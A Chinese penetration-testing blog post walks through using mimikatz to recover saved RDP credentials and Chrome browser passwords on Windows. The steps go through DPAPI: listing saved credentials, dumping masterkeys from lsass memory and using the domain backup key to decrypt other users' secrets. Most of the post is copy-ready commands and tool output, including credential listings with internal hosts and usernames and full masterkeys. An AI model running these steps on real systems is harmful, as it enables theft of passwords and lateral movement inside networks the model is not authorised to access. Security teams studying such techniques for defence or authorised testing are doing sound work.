利用mimikatz查看rdp连接密码【渗透测试】
0x00 概述
在使用 rdp 时会发现系统有保存连接密码的功能,一定在本地以一种加密方式保存,在连接的时候解密进行rdp尝试,那么我们能不能那到加密的密码解密以获取这台机器rdp连接过的机器呢?
0x01 流程
“AppData\Local\Microsoft\Credentials\XXX” -->> GUID(guidMasterKey) -->> 通过 sekurlsa::dpapi 对比GUID拿到Masterkey -->> mimikatz 通过 “AppData\Local\Microsoft\Credentials\XXX” 和 masterkey 解密秘钥。
0x02 方法
首先使用cmdkey /list来查看是否有保存的凭据密码信息。可以保存rdp凭据,ssh凭据等连接凭据。
如果没有:
有些环境可能有很多的凭据信息:
例如:
当前保存的凭据:目标: Domain:target=TERMSRV/192.168.100.52类型: 域密码用户: admin本地机器持续时间目标: LegacyGeneric:target=Adobe User Info(Part2)类型: 普通 用户: User DT本地机器持续时间目标: LegacyGeneric:target=TERMSRV/172.16.1.246类型: 普通 用户: administrator本地机器持续时间目标: Domain:target=TERMSRV/192.168.100.42类型: 域密码用户: admin本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.40.53类型: 普通 用户: lmrsec\tony本地机器持续时间目标: LegacyGeneric:target=Adobe User Info(Part1)类型: 普通 用户: User DT本地机器持续时间目标: LegacyGeneric:target=TERMSRV/192.168.100.45类型: 普通 用户: administrator本地机器持续时间目标: LegacyGeneric:target=Adobe User OS Info(Part1)类型: 普通 用户: User OS Info本地机器持续时间目标: LegacyGeneric:target=TERMSRV/172.16.1.134类型: 普通 用户: administrator本地机器持续时间目标: LegacyGeneric:target=TERMSRV/192.168.100.46类型: 普通 用户: administrator本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.40.54类型: 普通 用户: LMRSEC\lmr本地机器持续时间 目标: LegacyGeneric:target=TERMSRV/172.16.1.124类型: 普通 用户: administrator本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.20.123类型: 普通 用户: pc本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.40.100类型: 普通 用户: lmrsec\tony本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.40.55类型: 普通 用户: LMRSEC\tony本地机器持续时间 目标: LegacyGeneric:target=TERMSRV/10.10.40.62类型: 普通 用户: MEC0\administrator本地机器持续时间 目标: Domain:target=192.168.1.94类型: 域密码用户: LEE-PC\admin目标: Domain:target=10.0.0.152类型: 域密码用户: LEE-PC\administrator 目标: LegacyGeneric:target=chia-user-chia-1.8类型: 普通 用户: wallet-user-chia-1.8-0 目标: Domain:target=PIG类型: 域密码用户: LEE-PC\admin
使用命令:dir /a %userprofile%\AppData\Local\Microsoft\Credentials 来查看保存凭据的目录和凭据的值
接下来就一个一个实验吧,因为这个下面是凭据的值,不一定哪一个是你要的,需要写工具批量查喽。
例如:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit >a.txt
mimikatz(commandline) # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
**BLOB**dwVersion : 00000001 - 1guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}dwMasterKeyVersion : 00000001 - 1guidMasterKey : {fe6b8194-8763-4328-a189-23815ffc11bc}dwFlags : 20000000 - 536870912 (system ; )dwDescriptionLen : 00000012 - 18szDescription : 本地凭据数据algCrypt : 00006603 - 26115 (CALG_3DES)dwAlgCryptLen : 000000c0 - 192dwSaltLen : 00000010 - 16pbSalt : 67ac51d78138d3bb51ed1c07b1bc17a7dwHmacKeyLen : 00000000 - 0pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1)dwAlgHashLen : 000000a0 - 160dwHmac2KeyLen : 00000010 - 16pbHmack2Key : 8f18a25d233beb6c1fb8985285fc14d7dwDataLen : 00002a10 - 10768pbData : f8499588628921158b20b343b3f887ece87192f1a6f0d00fd223f1b001fa55c6feeb......
记住 guidMasterKey {fe6b8194-8763-4328-a189-23815ffc11bc}
mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt
在b.txt中找 {fe6b8194-8763-4328-a189-23815ffc11bc} 对应的MasterKey
Authentication Id : 0 ; 568702 (00000000:0008ad7e)
Session : Interactive from 1
User Name : administrator
Domain : LMRSEC
Logon Server : AD
Logon Time : 2022/9/22 14:14:42
SID : S-1-5-21-4175578073-168413485-1140492047-500[00000000]* GUID : {ef3e71aa-6279-4999-9c2d-cbb67f71eb3f}* Time : 2022/9/22 14:16:03* MasterKey : 6a58ad5cfa0d10fb3fd8ea9647eace29481338b7bc23c6d485780be9a136276840e601be86c6d84586948f93d83bf4bc7c2063a51f74b91afd1c2b3eb1d28cf6* sha1(key) : e500f8e3977bac36b4eb56ebea93d222bd1e748c[00000001]* GUID : {fe6b8194-8763-4328-a189-23815ffc11bc}* Time : 2022/9/22 14:15:05* MasterKey : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0* sha1(key) : eb92f311be6e846c0ae0241a332dd28415048e0a[00000002]* GUID : {17a3b3a5-41f6-4809-adb4-20f255db4e2b}* Time : 2022/9/22 14:16:51* MasterKey : eacdf11ecd0a819bc619e378292a873d994313be95d8aa9bab5924df98f389d93274c2fc9f532afcfc0dca7b19e1d70aca65887a2e26ac1983f45dd555345825* sha1(key) : 7c09ddedde899693c19e66b1e8b918beb42bb15f
mimikatz 读取密码:mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0" exit>c.txt
UserName就是账户,CredentialBlob 字段值是解密后的密码,如果是空,就尝试 Credentials 目录下其他凭据的值。(毕竟渗透也是个苦力活...)
Decrypting Credential:* masterkey : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0
**CREDENTIAL**credFlags : 00000030 - 48credSize : 00002a0e - 10766credUnk0 : 00000000 - 0Type : 00000001 - 1 - genericFlags : 00000000 - 0LastWritten : 2022/7/10 13:00:32unkFlagsOrSize : 00000000 - 0Persist : 00000002 - 2 - local_machineAttributeCount : 00000020 - 32unk0 : 00000000 - 0unk1 : 00000000 - 0TargetName : WindowsLive:target=virtualapp/didlogicalUnkData : (null)Comment : PersistedCredentialTargetAlias : (null)UserName : 02qfntekitrtCredentialBlob : Attributes : 32**ATTRIBUTE**Flags : 00000000 - 0Keyword : Microsoft_WindowsLive:authstate:0Value : 01 00 00 00 d0 8c 9d df 01 15 d1 11 8c......
实际渗透中可以将 Credentials目录和 lsass.exe 的内存文件保存到本地。
我一般会优先破解近期访问的连接。 例如,2022/09/22 13:41 这个近期的连接,我们尝试破解一下:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336" exit|findstr guidMasterKey" exit
从刚刚导出的 sekurlsa::dpapi 查找 GUID 对应的 MasterKey:
mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336 /masterkey:5823ca8c268bb7b96a52c3cf21e3d47c453be443e1ed8acbeee4813785c030f9bb765447c6c4e8e735726871c57b5d361bcfa1507cedc0a11850995ab199843a" exit
进一步的,想知道windows保存了哪些凭据,那些没保存,使用命令:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
如果没保存密码,结果如下:
如果保存了,如下:
导出windows密码技巧总结_渗透测试中心的博客-CSDN博客
0x03 破解浏览器凭据
其他凭据,如web浏览器凭据:
dir /a "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Login Data"
都是用 dpapi 加密的。
解密本地浏览器凭据:
mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect
chrome 80以前是直接可以通过dpapi去解密的,80以后变成AES了,所以需要指定一下/encryptedkey参数,这个参数内容是在Chrome/User Data/Local State这个文件里,这是个json文件,搜里面的encrypted_key,这个参数就是加密的密钥,指定之后就可以成功解密保存的密码了
mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAcNoSWcBg/SJyGPdAHkODAAAAAAAIAAAAAAANmAADAAAAAEAAAAA7YX8gUf3+tiMFkL6W6I1gAAAAABIAAAKAAAAAQAAAALPfk2cUfKSaXWrBO+q1sTSgAAACTT3f5PFH6LsG0F+KFyPyYjzVwPar8ePO2I/Tgi3/SVNyx+XxlXi8eFAAAAC6DyST9L+EPyq4tGdXLOARW0dvW" exit
如果你不满足于只接触当前lmr用户的浏览器凭据,也想拿域内其他机器的浏览器凭据,那么要满足几个条件:管理员权限,拿到2个文件 Local State + Login Data + masterkey
例如lmr用户想crack tony用户的浏览器凭据,需要拿到tony用户下的 Local State 和 Login Data 文件,分别在 "%localappdata%\Google\Chrome\User Data\Local State" 和 "%localappdata%\Google\Chrome\User Data\Default\Login Data"目录。
具体操作如下:
mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+" exit
会提示去GUID找masterkey,GUID的生成导出上文已经介绍过了,具体命令是:
mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt
找到 GUID: {e50897bb-0a4e-413c-89fd-140dcaaf6814} 对应的masterkey:
再次crack:
mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+ /masterkey:4faab22310c7db06402aca7b8aef779dc67549da6c0aeb9ca0ffd052b1e58740b650ac4931551ba1aed78f11784735ac06d6989dbb33e297cab6294e9502479a" exit
0x04 域内获取masterkey的其他思路
使用域备份密钥解密受害主机的主密钥
需要三步:
1. 导出域控pvk文件
mimikatz.exe "lsadump::backupkeys /system:AD /export" exit
** /system: 后面填写域控机器名,否则会找不到DC,报错,例如:
微软的那个错误代码搜索源码错误位置:
2.通过pvk得到GUID的masterkey (需要什么GUID就用谁的GUID去导出)
mimikatz.exe "dpapi::masterkey /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4175578073-168413485-1140492047-500\8bb03b74-9c66-4a30-852c-b45d3c99bb79 /pvk:ntds_capi_0_9876a14a-13b0-49a3-b2c1-466e7432ea02.keyx.rsa.pvk" exit >a.txt
在导出文件最后的key字段里:
3.同上文0x03,使用mimikatz 破解rdp或浏览器凭据。
0x05 后记
试着导出了自己笔记本的浏览器凭据,竟然有50KB之多,可见自己之前的上网习惯是不太好的。
导出的文件一共1731行,前392行是含有凭据信息的,后面的保存了访问过的需要凭证的网站信息。
0x06 reference
https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz
使用 MimiKatz 读取 DPAPI 加密密钥的几种方式 - 先知社区 (上文翻译)
Mimikatz抓取密码分析 - hixiaoai - 博客园
利用mimikatz查看rdp连接密码【渗透测试】相关推荐
- Kali利用msf对MS10_061漏洞进行渗透测试
注意事项: kail首次打开metasploit,会初始化数据,可能会有点慢,请耐心等待! 本文仅供学习漏洞渗透测试,不得用于其他非法用途,否则造成的任何后果自负!!! 1. Metasploit简介 ...
- 渗透测试 ( 1 ) --- 相关术语、必备 工具、导航、全流程总结、入侵网站思路
From:https://zhuanlan.zhihu.com/p/401413938 渗透测试实战教学:https://www.zhihu.com/column/c_1334810805263515 ...
- Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
Penetration_Testing_POC 搜集有关渗透测试中用到的POC.脚本.工具.文章等姿势分享,作为笔记吧,欢迎补充. Penetration_Testing_POC 请善用搜索[Ctrl ...
- Kali Linux 渗透测试 博客记录
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 文章为长时间连载,内容具有连续性,禁止转载! --- ...
- 奇安信 渗透测试(攻防类)一面复盘
奇安信 渗透测试(攻防类)一面复盘 1.你是哪里人 2.你是做安全研发的,在qax这边除了这个红队的岗位还投递其他了吗 3.看你研发做的比较多,为什么投递这个岗位 4.给了一个具体的场景,问你做渗透测 ...
- 万字渗透测试入门知识点,自学查漏补缺
后续慢慢更新各个知识点的内容~ 知识点目录 渗透工具环境安装 Java环境安装 Python环境安装 Kali Linux配置与使用 VMware安装kali VMware虚拟网络编辑 Linux使用 ...
- Metasploit渗透测试魔鬼训练营
信息搜集 外围情报搜集 物理机有网状态下 物理机无网状态下 个人推测 获取的信息 主机探测与端口扫描 活跃主机扫描 ICMP Ping命令 Metasploit的主机发现模块 arp_sweep使用方 ...
- 【渗透测试笔记】之【内网渗透——Windows系统散列值获取与防范】
拓扑图 Windows系统散列值获取 1.通过CS模块获取用户凭证信息 在获取到目标主机权限后,我们可以抓取hash和dump明文密码,这两项功能都需要管理员权限,如果权限不足,先要进行提权操作. 抓 ...
- 渗透测试 ---- 信息收集
信息收集 WEB 程序源码 在安全测试中,Web源码是一个重要的信息来源,可以通过审计源码找出漏洞,也可也根据网站使用的框架和CMS测试可能存在的漏洞.获取到Web源码可以为后期的测试提供更多思路 W ...
- 网络安全技术方面渗透测试入门笔记
一.网站基础与信息收集 1.网站的基本概念 http://192.168.80.128/shownnew.asp?id=16 访问的是网站中的那个网页? shownews.asp 这是一个静态还是动态 ...
最新文章
- mysql null 排前面_Mysql实现null值排在最前/最后的方法示例
- python详细安装教程3.7.4-python 3.7.4 安装 opencv的教程
- alloc 和 init都做了什么验证。
- Linux TCP/IP中L4L3的实现框架:udp recv部分
- P1447-[NOI2010]能量采集【GCD,数论,容斥】
- python项目如何上线_django项目部署上线(示例代码)
- 深度学习自学(二十二):推理框架-MNN
- vmware复制fedora16出现网络启动错误
- Flowable源码注释(三十二)任务超时作业
- window10/11拨号连接宽带连接开热点
- 电话薄程序java程序实现
- 压缩视频文件怎么压缩最小?
- android调用相机分辨率,Android菜鸟笔记-获取摄像头像素值
- 【天光学术】财务会计论文:家电连锁零售企业财务分析方法与注意问题(节选)
- java的类库安装在哪_Java系列学习(一)-JDK下载与安装
- 闲鱼疯转 6800 份!大厂内部数据分析资料首次公开!
- l1-044. 稳赢c语言,L1-044 稳赢 (15 分)(解析有坑点)
- 医院计算机网络构建,某医院网络的组建与规划设计开题报告
- MySQL中的隐藏列!_rowid
- 个人博客建站教程最全解析